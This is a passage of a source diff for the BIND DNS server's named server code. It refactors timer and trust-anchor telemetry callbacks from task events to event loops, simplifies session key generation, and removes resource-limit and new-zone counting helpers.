-		 */
-		zoneview = dns_zone_getview(zone);
-		if (zoneview == NULL) {
-			continue;
-		}
-		for (view = ISC_LIST_HEAD(server->viewlist);
-		     view != NULL && view != zoneview;
-		     view = ISC_LIST_NEXT(view, link))
-		{}
-		if (view == NULL) {
-			continue;
-		}
-
-		addrp = dns_zone_getnotifysrc6(zone);
-		dscp = dns_zone_getnotifysrc6dscp(zone);
-		result = add_listenelt(mctx, list, addrp, dscp, false);
-		if (result != ISC_R_SUCCESS) {
-			goto fail;
-		}
-
-		addrp = dns_zone_getxfrsource6(zone);
-		dscp = dns_zone_getxfrsource6dscp(zone);
-		result = add_listenelt(mctx, list, addrp, dscp, false);
-		if (result != ISC_R_SUCCESS) {
-			goto fail;
-		}
-	}
-
-	ns_interfacemgr_adjust(server->interfacemgr, list, true);
-
-clean:
-	ns_listenlist_detach(&list);
-	return;
-
-fail:
-	/*
-	 * Even when we failed the procedure, most of other interfaces
-	 * should work correctly.  We therefore just warn it.
-	 */
-	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-		      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-		      "could not adjust the listen-on list; "
-		      "some interfaces may not work");
-	goto clean;
-}
-
-/*
- * This event callback is invoked to do periodic network interface
- * scanning.
- */
-
-static void
-interface_timer_tick(isc_task_t *task, isc_event_t *event) {
-	named_server_t *server = (named_server_t *)event->ev_arg;
-	INSIST(task == server->task);
-	UNUSED(task);
-
-	isc_event_free(&event);
-	ns_interfacemgr_scan(server->interfacemgr, false);
-}
-
-static void
-heartbeat_timer_tick(isc_task_t *task, isc_event_t *event) {
-	named_server_t *server = (named_server_t *)event->ev_arg;
-	dns_view_t *view;
-
-	UNUSED(task);
-	isc_event_free(&event);
-	view = ISC_LIST_HEAD(server->viewlist);
-	while (view != NULL) {
-		dns_view_dialup(view);
-		view = ISC_LIST_NEXT(view, link);
-	}
-}
-
-typedef struct {
-	isc_mem_t *mctx;
-	isc_task_t *task;
-	dns_fetch_t *fetch;
-	dns_view_t *view;
-	dns_fixedname_t tatname;
-	dns_fixedname_t keyname;
-	dns_rdataset_t rdataset;
-	dns_rdataset_t sigrdataset;
-} ns_tat_t;
-
-static int
-cid(const void *a, const void *b) {
-	const uint16_t ida = *(const uint16_t *)a;
-	const uint16_t idb = *(const uint16_t *)b;
-	if (ida < idb) {
-		return (-1);
-	} else if (ida > idb) {
-		return (1);
-	} else {
-		return (0);
-	}
-}
-
-static void
-tat_done(isc_task_t *task, isc_event_t *event) {
-	dns_fetchevent_t *devent;
-	ns_tat_t *tat;
-
-	INSIST(event != NULL && event->ev_type == DNS_EVENT_FETCHDONE);
-	INSIST(event->ev_arg != NULL);
-
-	UNUSED(task);
-
-	tat = event->ev_arg;
-	devent = (dns_fetchevent_t *)event;
+	INSIST(tat != NULL);
 
 	/* Free resources which are not of interest */
-	if (devent->node != NULL) {
-		dns_db_detachnode(devent->db, &devent->node);
+	if (resp->node != NULL) {
+		dns_db_detachnode(resp->db, &resp->node);
 	}
-	if (devent->db != NULL) {
-		dns_db_detach(&devent->db);
+	if (resp->db != NULL) {
+		dns_db_detach(&resp->db);
 	}
-	isc_event_free(&event);
+	isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
 	dns_resolver_destroyfetch(&tat->fetch);
 	if (dns_rdataset_isassociated(&tat->rdataset)) {
 		dns_rdataset_disassociate(&tat->rdataset);
@@ -7147,13 +7078,12 @@ tat_done(isc_task_t *task, isc_event_t *event) {
 		dns_rdataset_disassociate(&tat->sigrdataset);
 	}
 	dns_view_detach(&tat->view);
-	isc_task_detach(&tat->task);
 	isc_mem_putanddetach(&tat->mctx, tat, sizeof(*tat));
 }
 
 struct dotat_arg {
 	dns_view_t *view;
-	isc_task_t *task;
+	isc_loop_t *loop;
 };
 
 /*%
@@ -7214,38 +7144,31 @@ get_tat_qname(dns_name_t *target, dns_name_t *keyname, dns_keynode_t *keynode) {
 	r.base = label;
 	r.length = sizeof(label);
 	m = snprintf(r.base, r.length, "_ta");
-	if (m < 0 || (unsigned)m > r.length) {
+	if (m < 0 || (unsigned int)m > r.length) {
 		return (ISC_R_FAILURE);
 	}
 	isc_textregion_consume(&r, m);
 	for (i = 0; i < n; i++) {
 		m = snprintf(r.base, r.length, "-%04x", ids[i]);
-		if (m < 0 || (unsigned)m > r.length) {
+		if (m < 0 || (unsigned int)m > r.length) {
 			return (ISC_R_FAILURE);
 		}
 		isc_textregion_consume(&r, m);
 	}
 
-	return (dns_name_fromstring2(target, label, keyname, 0, NULL));
+	return (dns_name_fromstring(target, label, keyname, 0, NULL));
 }
 
 static void
-tat_send(isc_task_t *task, isc_event_t *event) {
-	ns_tat_t *tat;
+tat_send(void *arg) {
+	ns_tat_t *tat = (ns_tat_t *)arg;
 	char namebuf[DNS_NAME_FORMATSIZE];
 	dns_fixedname_t fdomain;
-	dns_name_t *domain;
+	dns_name_t *domain = NULL;
 	dns_rdataset_t nameservers;
 	isc_result_t result;
-	dns_name_t *keyname;
-	dns_name_t *tatname;
-
-	INSIST(event != NULL && event->ev_type == NAMED_EVENT_TATSEND);
-	INSIST(event->ev_arg != NULL);
-
-	UNUSED(task);
-
-	tat = event->ev_arg;
+	dns_name_t *keyname = NULL;
+	dns_name_t *tatname = NULL;
 
 	keyname = dns_fixedname_name(&tat->keyname);
 	tatname = dns_fixedname_name(&tat->tatname);
@@ -7285,7 +7208,7 @@ tat_send(isc_task_t *task, isc_event_t *event) {
 		result = dns_resolver_createfetch(
 			tat->view->resolver, tatname, dns_rdatatype_null,
 			domain, &nameservers, NULL, NULL, 0, 0, 0, NULL,
-			tat->task, tat_done, tat, &tat->rdataset,
+			tat->loop, tat_done, tat, &tat->rdataset,
 			&tat->sigrdataset, &tat->fetch);
 	}
 
@@ -7306,46 +7229,38 @@ tat_send(isc_task_t *task, isc_event_t *event) {
 
 	if (result != ISC_R_SUCCESS) {
 		dns_view_detach(&tat->view);
-		isc_task_detach(&tat->task);
 		isc_mem_putanddetach(&tat->mctx, tat, sizeof(*tat));
 	}
-	isc_event_free(&event);
 }
 
 static void
 dotat(dns_keytable_t *keytable, dns_keynode_t *keynode, dns_name_t *keyname,
       void *arg) {
-	struct dotat_arg *dotat_arg = arg;
+	struct dotat_arg *dotat_arg = (struct dotat_arg *)arg;
 	isc_result_t result;
-	dns_view_t *view;
-	isc_task_t *task;
-	ns_tat_t *tat;
-	isc_event_t *event;
+	dns_view_t *view = NULL;
+	ns_tat_t *tat = NULL;
 
 	REQUIRE(keytable != NULL);
 	REQUIRE(keynode != NULL);
 	REQUIRE(dotat_arg != NULL);
 
 	view = dotat_arg->view;
-	task = dotat_arg->task;
 
-	tat = isc_mem_get(dotat_arg->view->mctx, sizeof(*tat));
+	tat = isc_mem_get(view->mctx, sizeof(*tat));
+	*tat = (ns_tat_t){ 0 };
 
-	tat->fetch = NULL;
-	tat->mctx = NULL;
-	tat->task = NULL;
-	tat->view = NULL;
 	dns_rdataset_init(&tat->rdataset);
 	dns_rdataset_init(&tat->sigrdataset);
 	dns_name_copy(keyname, dns_fixedname_initname(&tat->keyname));
 	result = get_tat_qname(dns_fixedname_initname(&tat->tatname), keyname,
 			       keynode);
 	if (result != ISC_R_SUCCESS) {
-		isc_mem_put(dotat_arg->view->mctx, tat, sizeof(*tat));
+		isc_mem_put(view->mctx, tat, sizeof(*tat));
 		return;
 	}
-	isc_mem_attach(dotat_arg->view->mctx, &tat->mctx);
-	isc_task_attach(task, &tat->task);
+	isc_mem_attach(view->mctx, &tat->mctx);
+	tat->loop = dotat_arg->loop;
 	dns_view_attach(view, &tat->view);
 
 	/*
@@ -7362,21 +7277,17 @@ dotat(dns_keytable_t *keytable, dns_keynode_t *keynode, dns_name_t *keyname,
 	 * view->lock (dns_view_findzonecut) while holding keytable->lock
 	 * (dns_keytable_forall)
 	 */
-	event = isc_event_allocate(tat->mctx, keytable, NAMED_EVENT_TATSEND,
-				   tat_send, tat, sizeof(isc_event_t));
-	isc_task_send(task, &event);
+	isc_async_run(named_g_mainloop, tat_send, tat);
 }
 
 static void
-tat_timer_tick(isc_task_t *task, isc_event_t *event) {
+tat_timer_tick(void *arg) {
 	isc_result_t result;
-	named_server_t *server = (named_server_t *)event->ev_arg;
-	struct dotat_arg arg;
-	dns_view_t *view;
+	named_server_t *server = (named_server_t *)arg;
+	struct dotat_arg dotat_arg = { 0 };
+	dns_view_t *view = NULL;
 	dns_keytable_t *secroots = NULL;
 
-	isc_event_free(&event);
-
 	for (view = ISC_LIST_HEAD(server->viewlist); view != NULL;
 	     view = ISC_LIST_NEXT(view, link))
 	{
@@ -7389,20 +7300,19 @@ tat_timer_tick(isc_task_t *task, isc_event_t *event) {
 			continue;
 		}
 
-		arg.view = view;
-		arg.task = task;
-		(void)dns_keytable_forall(secroots, dotat, &arg);
+		dotat_arg.view = view;
+		dotat_arg.loop = named_g_mainloop;
+		dns_keytable_forall(secroots, dotat, &dotat_arg);
 		dns_keytable_detach(&secroots);
 	}
 }
 
 static void
-pps_timer_tick(isc_task_t *task, isc_event_t *event) {
+pps_timer_tick(void *arg) {
 	static unsigned int oldrequests = 0;
 	unsigned int requests = atomic_load_relaxed(&ns_client_requests);
 
-	UNUSED(task);
-	isc_event_free(&event);
+	UNUSED(arg);
 
 	/*
 	 * Don't worry about wrapping as the overflow result will be right.
@@ -7416,7 +7326,7 @@ pps_timer_tick(isc_task_t *task, isc_event_t *event) {
  * string or NULL, with a dynamically allocated copy of the
  * null-terminated string pointed to by 'value', or NULL.
  */
-static isc_result_t
+static void
 setstring(named_server_t *server, char **field, const char *value) {
 	char *copy;
 
@@ -7431,7 +7341,6 @@ setstring(named_server_t *server, char **field, const char *value) {
 	}
 
 	*field = copy;
-	return (ISC_R_SUCCESS);
 }
 
 /*
@@ -7439,58 +7348,13 @@ setstring(named_server_t *server, char **field, const char *value) {
  * string or NULL, with another dynamically allocated string
  * or NULL if whether 'obj' is a string or void value, respectively.
  */
-static isc_result_t
+static void
 setoptstring(named_server_t *server, char **field, const cfg_obj_t *obj) {
 	if (cfg_obj_isvoid(obj)) {
-		return (setstring(server, field, NULL));
-	} else {
-		return (setstring(server, field, cfg_obj_asstring(obj)));
-	}
-}
-
-static void
-set_limit(const cfg_obj_t **maps, const char *configname,
-	  const char *description, isc_resource_t resourceid,
-	  isc_resourcevalue_t defaultvalue) {
-	const cfg_obj_t *obj = NULL;
-	const char *resource;
-	isc_resourcevalue_t value;
-	isc_result_t result;
-
-	if (named_config_get(maps, configname, &obj) != ISC_R_SUCCESS) {
-		return;
-	}
-
-	if (cfg_obj_isstring(obj)) {
-		resource = cfg_obj_asstring(obj);
-		if (strcasecmp(resource, "unlimited") == 0) {
-			value = ISC_RESOURCE_UNLIMITED;
-		} else {
-			INSIST(strcasecmp(resource, "default") == 0);
-			value = defaultvalue;
-		}
+		setstring(server, field, NULL);
 	} else {
-		value = cfg_obj_asuint64(obj);
+		setstring(server, field, cfg_obj_asstring(obj));
 	}
-
-	result = isc_resource_setlimit(resourceid, value);
-	isc_log_write(
-		named_g_lctx, NAMED_LOGCATEGORY_GENERAL, NAMED_LOGMODULE_SERVER,
-		result == ISC_R_SUCCESS ? ISC_LOG_DEBUG(3) : ISC_LOG_WARNING,
-		"set maximum %s to %" PRIu64 ": %s", description, value,
-		isc_result_totext(result));
-}
-
-#define SETLIMIT(cfgvar, resource, description)                       \
-	set_limit(maps, cfgvar, description, isc_resource_##resource, \
-		  named_g_init##resource)
-
-static void
-set_limits(const cfg_obj_t **maps) {
-	SETLIMIT("stacksize", stacksize, "stack size");
-	SETLIMIT("datasize", datasize, "data size");
-	SETLIMIT("coresize", coresize, "core size");
-	SETLIMIT("files", openfiles, "open files");
 }
 
 static void
@@ -7558,7 +7422,7 @@ cleanup_session_key(named_server_t *server, isc_mem_t *mctx) {
 	}
 
 	if (server->sessionkey != NULL) {
-		dns_tsigkey_detach(&server->sessionkey);
+		dst_key_free(&server->sessionkey);
 	}
 
 	server->session_keyalg = DST_ALG_UNKNOWN;
@@ -7567,10 +7431,9 @@ cleanup_session_key(named_server_t *server, isc_mem_t *mctx) {
 
 static isc_result_t
 generate_session_key(const char *filename, const char *keynamestr,
-		     const dns_name_t *keyname, const char *algstr,
-		     const dns_name_t *algname, unsigned int algtype,
+		     const dns_name_t *keyname, dst_algorithm_t alg,
 		     uint16_t bits, isc_mem_t *mctx, bool first_time,
-		     dns_tsigkey_t **tsigkeyp) {
+		     dst_key_t **keyp) {
 	isc_result_t result = ISC_R_SUCCESS;
 	dst_key_t *key = NULL;
 	isc_buffer_t key_txtbuffer;
@@ -7578,8 +7441,6 @@ generate_session_key(const char *filename, const char *keynamestr,
 	char key_txtsecret[256];
 	char key_rawsecret[64];
 	isc_region_t key_rawregion;
-	isc_stdtime_t now;
-	dns_tsigkey_t *tsigkey = NULL;
 	FILE *fp = NULL;
 
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
@@ -7587,16 +7448,14 @@ generate_session_key(const char *filename, const char *keynamestr,
 		      "generating session key for dynamic DNS");
 
 	/* generate key */
-	result = dst_key_generate(keyname, algtype, bits, 1, 0,
-				  DNS_KEYPROTO_ANY, dns_rdataclass_in, mctx,
-				  &key, NULL);
+	result = dst_key_generate(keyname, alg, bits, 1, 0, DNS_KEYPROTO_ANY,
+				  dns_rdataclass_in, mctx, &key, NULL);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
 
 	/*
-	 * Dump the key to the buffer for later use.  Should be done before
-	 * we transfer the ownership of key to tsigkey.
+	 * Dump the key to the buffer for later use.
 	 */
 	isc_buffer_init(&key_rawbuffer, &key_rawsecret, sizeof(key_rawsecret));
 	CHECK(dst_key_tobuffer(key, &key_rawbuffer));
@@ -7605,11 +7464,6 @@ generate_session_key(const char *filename, const char *keynamestr,
 	isc_buffer_init(&key_txtbuffer, &key_txtsecret, sizeof(key_txtsecret));
 	CHECK(isc_base64_totext(&key_rawregion, -1, "", &key_txtbuffer));
 
-	/* Store the key in tsigkey. */
-	isc_stdtime_get(&now);
-	CHECK(dns_tsigkey_createfromkey(dst_key_name(key), algname, key, false,
-					NULL, now, now, mctx, NULL, &tsigkey));
-
 	/* Dump the key to the key file. */
 	fp = named_os_openfile(filename, S_IRUSR | S_IWUSR, first_time);
 	if (fp == NULL) {
@@ -7624,20 +7478,17 @@ generate_session_key(const char *filename, const char *keynamestr,
 		"key \"%s\" {\n"
 		"\talgorithm %s;\n"
 		"\tsecret \"%.*s\";\n};\n",
-		keynamestr, algstr, (int)isc_buffer_usedlength(&key_txtbuffer),
+		keynamestr, dst_hmac_algorithm_totext(alg),
+		(int)isc_buffer_usedlength(&key_txtbuffer),
 		(char *)isc_buffer_base(&key_txtbuffer));
 
 	CHECK(isc_stdio_flush(fp));
 	result = isc_stdio_close(fp);
-	fp = NULL;
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
 
-	dst_key_free(&key);
-
-	*tsigkeyp = tsigkey;
-
+	*keyp = key;
 	return (ISC_R_SUCCESS);
 
 cleanup:
@@ -7650,9 +7501,6 @@ generate_session_key(const char *filename, const char *keynamestr,
 		(void)isc_stdio_close(fp);
 		(void)isc_file_remove(filename);
 	}
-	if (tsigkey != NULL) {
-		dns_tsigkey_detach(&tsigkey);
-	}
 	if (key != NULL) {
 		dst_key_free(&key);
 	}
@@ -7663,14 +7511,13 @@ generate_session_key(const char *filename, const char *keynamestr,
 static isc_result_t
 configure_session_key(const cfg_obj_t **maps, named_server_t *server,
 		      isc_mem_t *mctx, bool first_time) {
-	const char *keyfile, *keynamestr, *algstr;
+	const char *keyfile = NULL, *keynamestr = NULL, *algstr = NULL;
 	unsigned int algtype;
 	dns_fixedname_t fname;
-	dns_name_t *keyname;
-	const dns_name_t *algname;
+	dns_name_t *keyname = NULL;
 	isc_buffer_t buffer;
 	uint16_t bits;
-	const cfg_obj_t *obj;
+	const cfg_obj_t *obj = NULL;
 	bool need_deleteold = false;
 	bool need_createnew = false;
 	isc_result_t result;
@@ -7703,9 +7550,7 @@ configure_session_key(const cfg_obj_t **maps, named_server_t *server,
 	result = named_config_get(maps, "session-keyalg", &obj);
 	INSIST(result == ISC_R_SUCCESS);
 	algstr = cfg_obj_asstring(obj);
-	algname = NULL;
-	result = named_config_getkeyalgorithm2(algstr, &algname, &algtype,
-					       &bits);
+	result = named_config_getkeyalgorithm(algstr, &algtype, &bits);
 	if (result != ISC_R_SUCCESS) {
 		const char *s = " (keeping current key)";
 
@@ -7756,9 +7601,9 @@ configure_session_key(const cfg_obj_t **maps, named_server_t *server,
 		server->session_keyalg = algtype;
 		server->session_keybits = bits;
 
-		CHECK(generate_session_key(keyfile, keynamestr, keyname, algstr,
-					   algname, algtype, bits, mctx,
-					   first_time, &server->sessionkey));
+		CHECK(generate_session_key(keyfile, keynamestr, keyname,
+					   algtype, bits, mctx, first_time,
+					   &server->sessionkey));
 	}
 
 	return (result);
@@ -7768,94 +7613,9 @@ configure_session_key(const cfg_obj_t **maps, named_server_t *server,
 	return (result);
 }
 
-#ifndef HAVE_LMDB
-static isc_result_t
-count_newzones(dns_view_t *view, ns_cfgctx_t *nzcfg, int *num_zonesp) {
-	isc_result_t result;
-
-	/* The new zone file may not exist. That is OK. */
-	if (!isc_file_exists(view->new_zone_file)) {
-		*num_zonesp = 0;
-		return (ISC_R_SUCCESS);
-	}
-
-	/*
-	 * In the case of NZF files, we also parse the configuration in
-	 * the file at this stage.
-	 *
-	 * This may be called in multiple views, so we reset
-	 * the parser each time.
-	 */
-	cfg_parser_reset(named_g_addparser);
-	result = cfg_parse_file(named_g_addparser, view->new_zone_file,
-				&cfg_type_addzoneconf, &nzcfg->nzf_config);
-	if (result == ISC_R_SUCCESS) {
-		int num_zones;
-
-		num_zones = count_zones(nzcfg->nzf_config);
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
-			      "NZF file '%s' contains %d zones",
-			      view->new_zone_file, num_zones);
-		if (num_zonesp != NULL) {
-			*num_zonesp = num_zones;
-		}
-	} else {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
-			      "Error parsing NZF file '%s': %s",
-			      view->new_zone_file, isc_result_totext(result));
-	}
-
-	return (result);
-}
-
-#else /* HAVE_LMDB */
-
-static isc_result_t
-count_newzones(dns_view_t *view, ns_cfgctx_t *nzcfg, int *num_zonesp) {
-	isc_result_t result;
-	int n;
-
-	UNUSED(nzcfg);
-
-	REQUIRE(num_zonesp != NULL);
-
-	LOCK(&view->new_zone_lock);
-
-	CHECK(migrate_nzf(view));
-
-	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-		      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
-		      "loading NZD zone count from '%s' "
-		      "for view '%s'",
-		      view->new_zone_db, view->name);
-
-	CHECK(nzd_count(view, &n));
-
-	*num_zonesp = n;
-
-	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-		      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
-		      "NZD database '%s' contains %d zones", view->new_zone_db,
-		      n);
-
-cleanup:
-	if (result != ISC_R_SUCCESS) {
-		*num_zonesp = 0;
-	}
-
-	UNLOCK(&view->new_zone_lock);
-
-	return (ISC_R_SUCCESS);
-}
-
-#endif /* HAVE_LMDB */
-
 static isc_result_t
 setup_newzones(dns_view_t *view, cfg_obj_t *config, cfg_obj_t *vconfig,
-	       cfg_parser_t *conf_parser, cfg_aclconfctx_t *actx,
-	       int *num_zones) {
+	       cfg_parser_t *conf_parser, cfg_aclconfctx_t *actx) {
 	isc_result_t result = ISC_R_SUCCESS;
 	bool allow = false;
 	ns_cfgctx_t *nzcfg = NULL;
@@ -7890,9 +7650,7 @@ setup_newzones(dns_view_t *view, cfg_obj_t *config, cfg_obj_t *vconfig,
 	result = named_config_get(maps, "new-zones-directory", &nzdir);
 	if (result == ISC_R_SUCCESS) {
 		dir = cfg_obj_asstring(nzdir);
-		if (dir != NULL) {
-			result = isc_file_isdirectory(dir);
-		}
+		result = isc_file_isdirectory(dir);
 		if (result != ISC_R_SUCCESS) {
 			isc_log_write(named_g_lctx, DNS_LOGCATEGORY_SECURITY,
 				      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
@@ -7953,28 +7711,29 @@ setup_newzones(dns_view_t *view, cfg_obj_t *config, cfg_obj_t *vconfig,
 
 	if (!allow) {
 		dns_view_setnewzones(view, false, NULL, NULL, 0ULL);
-		if (num_zones != NULL) {
-			*num_zones = 0;
-		}
 		return (ISC_R_SUCCESS);
 	}
 
 	nzcfg = isc_mem_get(view->mctx, sizeof(*nzcfg));
+	*nzcfg = (ns_cfgctx_t){ 0 };
 
 	/*
 	 * We attach the parser that was used for config as well
 	 * as the one that will be used for added zones, to avoid
 	 * a shutdown race later.
 	 */
-	memset(nzcfg, 0, sizeof(*nzcfg));
+	isc_mem_attach(view->mctx, &nzcfg->mctx);
 	cfg_parser_attach(conf_parser, &nzcfg->conf_parser);
 	cfg_parser_attach(named_g_addparser, &nzcfg->add_parser);
-	isc_mem_attach(view->mctx, &nzcfg->mctx);
 	cfg_aclconfctx_attach(actx, &nzcfg->actx);
 
 	result = dns_view_setnewzones(view, true, nzcfg, newzone_cfgctx_destroy,
 				      mapsize);
 	if (result != ISC_R_SUCCESS) {
+		cfg_aclconfctx_detach(&nzcfg->actx);
+		cfg_parser_destroy(&nzcfg->add_parser);
+		cfg_parser_destroy(&nzcfg->conf_parser);
+		isc_mem_putanddetach(&nzcfg->mctx, nzcfg, sizeof(*nzcfg));
 		dns_view_setnewzones(view, false, NULL, NULL, 0ULL);
 		return (result);
 	}
@@ -7984,7 +7743,7 @@ setup_newzones(dns_view_t *view, cfg_obj_t *config, cfg_obj_t *vconfig,
 		cfg_obj_attach(vconfig, &nzcfg->vconfig);
 	}
 
-	result = count_newzones(view, nzcfg, num_zones);
+	result = load_nzf(view, nzcfg);
 	return (result);
 }
 
@@ -8001,7 +7760,7 @@ configure_zone_setviewcommit(isc_result_t result, const cfg_obj_t *zconfig,
 	zname = cfg_obj_asstring(cfg_tuple_get(zconfig, "name"));
 	origin = dns_fixedname_initname(&fixorigin);
 
-	result2 = dns_name_fromstring(origin, zname, 0, NULL);
+	result2 = dns_name_fromstring(origin, zname, dns_rootname, 0, NULL);
 	if (result2 != ISC_R_SUCCESS) {
 		return;
 	}
@@ -8012,7 +7771,7 @@ configure_zone_setviewcommit(isc_result_t result, const cfg_obj_t *zconfig,
 		return;
 	}
 
-	result2 = dns_view_findzone(pview, origin, &zone);
+	result2 = dns_view_findzone(pview, origin, DNS_ZTFIND_EXACT, &zone);
 	if (result2 != ISC_R_SUCCESS) {
 		dns_view_detach(&pview);
 		return;
@@ -8032,7 +7791,7 @@ configure_zone_setviewcommit(isc_result_t result, const cfg_obj_t *zconfig,
 
 static isc_result_t
 configure_newzones(dns_view_t *view, cfg_obj_t *config, cfg_obj_t *vconfig,
-		   isc_mem_t *mctx, cfg_aclconfctx_t *actx) {
+		   cfg_aclconfctx_t *actx) {
 	isc_result_t result;
 	ns_cfgctx_t *nzctx;
 	const cfg_obj_t *zonelist;
@@ -8054,7 +7813,7 @@ configure_newzones(dns_view_t *view, cfg_obj_t *config, cfg_obj_t *vconfig,
 	     element = cfg_list_next(element))
 	{
 		const cfg_obj_t *zconfig = cfg_listelt_value(element);
-		CHECK(configure_zone(config, zconfig, vconfig, mctx, view,
+		CHECK(configure_zone(config, zconfig, vconfig, view,
 				     &named_g_server->viewlist,
 				     &named_g_server->kasplist, actx, true,
 				     false, false));
@@ -8107,8 +7866,8 @@ data_to_cfg(dns_view_t *view, MDB_val *key, MDB_val *data, isc_buffer_t **text,
 	INSIST(zone_config != NULL && zone_config_len > 0);
 
 	/* zone zonename { config; }; */
-	result = isc_buffer_reserve(text, 6 + zone_name_len + 2 +
-						  zone_config_len + 2);
+	result = isc_buffer_reserve(*text, 6 + zone_name_len + 2 +
+						   zone_config_len + 2);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
@@ -8151,7 +7910,7 @@ data_to_cfg(dns_view_t *view, MDB_val *key, MDB_val *data, isc_buffer_t **text,
  */
 typedef isc_result_t (*newzone_cfg_cb_t)(const cfg_obj_t *zconfig,
 					 cfg_obj_t *config, cfg_obj_t *vconfig,
-					 isc_mem_t *mctx, dns_view_t *view,
+					 dns_view_t *view,
 					 cfg_aclconfctx_t *actx);
 
 /*%
@@ -8167,7 +7926,7 @@ typedef isc_result_t (*newzone_cfg_cb_t)(const cfg_obj_t *zconfig,
  */
 static isc_result_t
 for_all_newzone_cfgs(newzone_cfg_cb_t callback, cfg_obj_t *config,
-		     cfg_obj_t *vconfig, isc_mem_t *mctx, dns_view_t *view,
+		     cfg_obj_t *vconfig, dns_view_t *view,
 		     cfg_aclconfctx_t *actx, MDB_txn *txn, MDB_dbi dbi) {
 	const cfg_obj_t *zconfig, *zlist;
 	isc_result_t result = ISC_R_SUCCESS;
@@ -8210,7 +7969,7 @@ for_all_newzone_cfgs(newzone_cfg_cb_t callback, cfg_obj_t *config,
 		/*
 		 * Invoke callback.
 		 */
-		result = callback(zconfig, config, vconfig, mctx, view, actx);
+		result = callback(zconfig, config, vconfig, view, actx);
 		if (result != ISC_R_SUCCESS) {
 			break;
 		}
@@ -8237,10 +7996,10 @@ for_all_newzone_cfgs(newzone_cfg_cb_t callback, cfg_obj_t *config,
  */
 static isc_result_t
 configure_newzone(const cfg_obj_t *zconfig, cfg_obj_t *config,
-		  cfg_obj_t *vconfig, isc_mem_t *mctx, dns_view_t *view,
+		  cfg_obj_t *vconfig, dns_view_t *view,
 		  cfg_aclconfctx_t *actx) {
 	return (configure_zone(
-		config, zconfig, vconfig, mctx, view, &named_g_server->viewlist,
+		config, zconfig, vconfig, view, &named_g_server->viewlist,
 		&named_g_server->kasplist, actx, true, false, false));
 }
 
@@ -8249,11 +8008,10 @@ configure_newzone(const cfg_obj_t *zconfig, cfg_obj_t *config,
  */
 static isc_result_t
 configure_newzone_revert(const cfg_obj_t *zconfig, cfg_obj_t *config,
-			 cfg_obj_t *vconfig, isc_mem_t *mctx, dns_view_t *view,
+			 cfg_obj_t *vconfig, dns_view_t *view,
 			 cfg_aclconfctx_t *actx) {
 	UNUSED(config);
 	UNUSED(vconfig);
-	UNUSED(mctx);
 	UNUSED(actx);
 
 	configure_zone_setviewcommit(ISC_R_FAILURE, zconfig, view);
@@ -8263,7 +8021,7 @@ configure_newzone_revert(const cfg_obj_t *zconfig, cfg_obj_t *config,
 
 static isc_result_t
 configure_newzones(dns_view_t *view, cfg_obj_t *config, cfg_obj_t *vconfig,
-		   isc_mem_t *mctx, cfg_aclconfctx_t *actx) {
+		   cfg_aclconfctx_t *actx) {
 	isc_result_t result;
 	MDB_txn *txn = NULL;
 	MDB_dbi dbi;
@@ -8286,8 +8044,8 @@ configure_newzones(dns_view_t *view, cfg_obj_t *config, cfg_obj_t *vconfig,
 		      "for view '%s'",
 		      view->new_zone_db, view->name);
 
-	result = for_all_newzone_cfgs(configure_newzone, config, vconfig, mctx,
-				      view, actx, txn, dbi);
+	result = for_all_newzone_cfgs(configure_newzone, config, vconfig, view,
+				      actx, txn, dbi);
 	if (result != ISC_R_SUCCESS) {
 		/*
 		 * An error was encountered while attempting to configure zones
@@ -8298,7 +8056,7 @@ configure_newzones(dns_view_t *view, cfg_obj_t *config, cfg_obj_t *vconfig,
 		 * terms of trying to make things right.
 		 */
 		(void)for_all_newzone_cfgs(configure_newzone_revert, config,
-					   vconfig, mctx, view, actx, txn, dbi);
+					   vconfig, view, actx, txn, dbi);
 	}
 
 	(void)nzd_close(&txn, false);
@@ -8374,24 +8132,6 @@ get_newzone_config(dns_view_t *view, const char *zonename,
 
 #endif /* HAVE_LMDB */
 
-static int
-count_zones(const cfg_obj_t *conf) {
-	const cfg_obj_t *zonelist = NULL;
-	const cfg_listelt_t *element;
-	int n = 0;
-
-	REQUIRE(conf != NULL);
-
-	cfg_map_get(conf, "zone", &zonelist);
-	for (element = cfg_list_first(zonelist); element != NULL;
-	     element = cfg_list_next(element))
-	{
-		n++;
-	}
-
-	return (n);
-}
-
 static isc_result_t
 check_lockfile(named_server_t *server, const cfg_obj_t *config,
 	       bool first_time) {
@@ -8489,25 +8229,22 @@ load_configuration(const char *filename, named_server_t *server,
 	const cfg_obj_t *kasps;
 	dns_kasp_t *kasp = NULL;
 	dns_kasp_t *kasp_next = NULL;
+	dns_kasp_t *default_kasp = NULL;
 	dns_kasplist_t tmpkasplist, kasplist;
 	const cfg_obj_t *views;
-	dns_view_t *view = NULL;
+
 	dns_view_t *view_next = NULL;
 	dns_viewlist_t tmpviewlist;
 	dns_viewlist_t viewlist, builtin_viewlist;
 	in_port_t listen_port, udpport_low, udpport_high;
 	int i, backlog;
-	int num_zones = 0;
-	bool exclusive = false;
 	isc_interval_t interval;
 	isc_logconfig_t *logc = NULL;
 	isc_portset_t *v4portset = NULL;
 	isc_portset_t *v6portset = NULL;
-	isc_resourcevalue_t nfiles;
-	isc_result_t result, tresult;
+	isc_result_t result;
 	uint32_t heartbeat_interval;
 	uint32_t interface_interval;
-	uint32_t reserved;
 	uint32_t udpsize;
 	uint32_t transfer_message_size;
 	uint32_t recv_tcp_buffer_size;
@@ -8518,24 +8255,36 @@ load_configuration(const char *filename, named_server_t *server,
 	named_cachelist_t cachelist, tmpcachelist;
 	ns_altsecret_t *altsecret;
 	ns_altsecretlist_t altsecrets, tmpaltsecrets;
